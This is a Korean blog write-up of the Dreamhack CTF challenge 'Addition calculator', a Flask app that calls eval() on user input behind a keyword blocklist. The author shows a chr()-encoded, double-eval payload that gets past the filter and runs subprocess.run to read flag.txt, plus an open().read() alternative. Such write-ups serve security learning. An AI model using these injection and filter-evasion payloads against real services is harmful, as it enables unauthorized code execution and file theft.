Dreamhack

[Dreamhack] Addition calculator 풀이

minnggyuu 2024. 5. 26. 16:15

Addition calculator

 

덧셈 식을 입력하면 계산 결과를 출력하는 웹 서비스란다. 

flag는 ./flag.txt 에 있다고 한다.

 

문제 페이지

 

문제 페이지이다. 입력을 받는다. 1+2 를 입력하게 되면?

3이 출력된다

 

소스코드를 보자

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re


app = Flask(__name__)


def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I): 
        return True
    for c in formula:
        if c not in w_list:
            return True


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        formula = request.form.get("formula", "")
        if formula != "":
            if filter(formula):
                return render_template("index.html", result="Filtered")
            else:
                try:
                    formula = eval(formula)
                    return render_template("index.html", result="formula")
                except subprocess.CalledProcessError:
                    return render_template("index.html", result="Error") 
                except:
                    return render_template("index.html", result="Error")
        else:
            return render_template("index.html", result="Enter the value")


app.run(host="0.0.0.0", port=8000)

 

request method가 GET일때는 index.html을 띄워주고,

GET이 아닐 때 ex) POST 일때는 formula 파라미터 값을 가져와 formula라는 변수에 저장한다. 

 

formula가 빈 값이 아니면, filter함수에 formula를 전달해준다. 

 

 

def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I): 
        return True
    for c in formula:
        if c not in w_list:
            return True

 

filter 함수이다. 먼저, w_list라는 변수를 만들어 알파벳 소문자 + 알파벳 대문자 + 숫자로 이루어진 리스트를 만든다. 

그리고 [" ", ".", "(", ")", "+"] 도 w_list에 추가해 줬다. 

 

그리고 re.search로 여러 키워드를 찾고 있다. 키워드가 formula안에 있으면? True를 반환한다.

re.I를 사용해 대소문자 구별하지 formula의 모든 요소를 for문으로 찾고 있다.

 

if formula != "":
    if filter(formula):
        return render_template("index.html", result="Filtered")
    else:
        try:
            formula = eval(formula)
            return render_template("index.html", result="formula")
        except subprocess.CalledProcessError:
            return render_template("index.html", result="Error") 
        except:
            return render_template("index.html", result="Error")
else:
    return render_template("index.html", result="Enter the value")

 

filter() 에서 True를 반환하게 되면, "Filtered" 를 반환한다.

 

False가 나온다면, eval함수를 사용해 formula를 계산해 다시 formula에 넣어준다.

 

eval(expressionglobalslocals) 함수는 expression 부분을 평가하고 실행하는 기능을 한다.

 

더보기

eval('1+2') -> 3 이 나오게 된다.

eval('1'+'2') -> 는 12가 된다. 

 

eval() 함수는 숫자 계산을 할 수도 있지만 실행을 할 수도 있다. 

 

따라서 eval() 를 사용해 cat /flag.txt 를 실행시키면 될 것이다.

 

import 되어 있는 subprocess를 사용해 익스플로잇 해보자.

 

subprocess 모듈 중에 run함수를 이용하면 리눅스 명령을 실행시킬 수 있다.

subprocess.run(['cat', './flag.txt'])

 

(cat 과 ./flag.txt 사이에 공백이 있을 때는 따로 묶어줘야 한다..!) 중요

 

하지만 filter() 에서 subprocess 를 필터링하고 있고, w_list 안에 있는 문자들만 사용해야 하기 때문에 우회를 해야 한다. 

괄호를 사용할 수 있으므로 chr() 를 통해서 우회를 해보자 

유니코드로 변환하는 파이썬 코드

더보기
code = input("input : ")

codeleng = len(code)
data = ''


for i in code:
    chgord = (ord(i))
    data += f"chr({chgord})+"

print(data)

 

chr(115)+chr(117)+chr(98)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(46)+chr(114)+chr(117)+chr(110)+chr(40)+chr(91)+chr(39)+chr(99)+chr(97)+chr(116)+chr(39)+chr(44)+chr(32)+chr(39)+chr(46)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(93)+chr(41)

 

이 나왔다.

를 입력하면

 

커맨드는 잘 들어간거 같은데 실행이 안된다..

 

필터링을 피하기 위해 유니코드로 바꿨으므로 실제 전달할 때는 원문으로 전달해주기 위해 eval()을 한번 더 씌워주면

formula = eval(eval(chr~~))

안쪽 eval은 유니코드를 원문으로 변환을 수행하고

바깥쪽 eval은 구문을 수행하는 역할을 한다. 

 

-> eval(chr(chr(115)+chr(117)+chr(98) ~~ chr(41)

 

CompletedProcess라고 하는데.. FLAG가 보이지를 않는다..

이럴 때는 subprocess.run(['cat','./flag.txt'], capture_output=True)로 바꿔주자.

 

capture_output은 파이썬 구문을 실행하고 실행 결과를 보여준다.

True로 설정하고 변환해 넣어보자

 

flag

 

flag가 나오게 된다. 

 

 

open을 이용한 방법 

더보기
open('./flag.txt', mode='r').read() # mode='r'은 기본값이라 없어도 상관없음

을 사용해도 된다.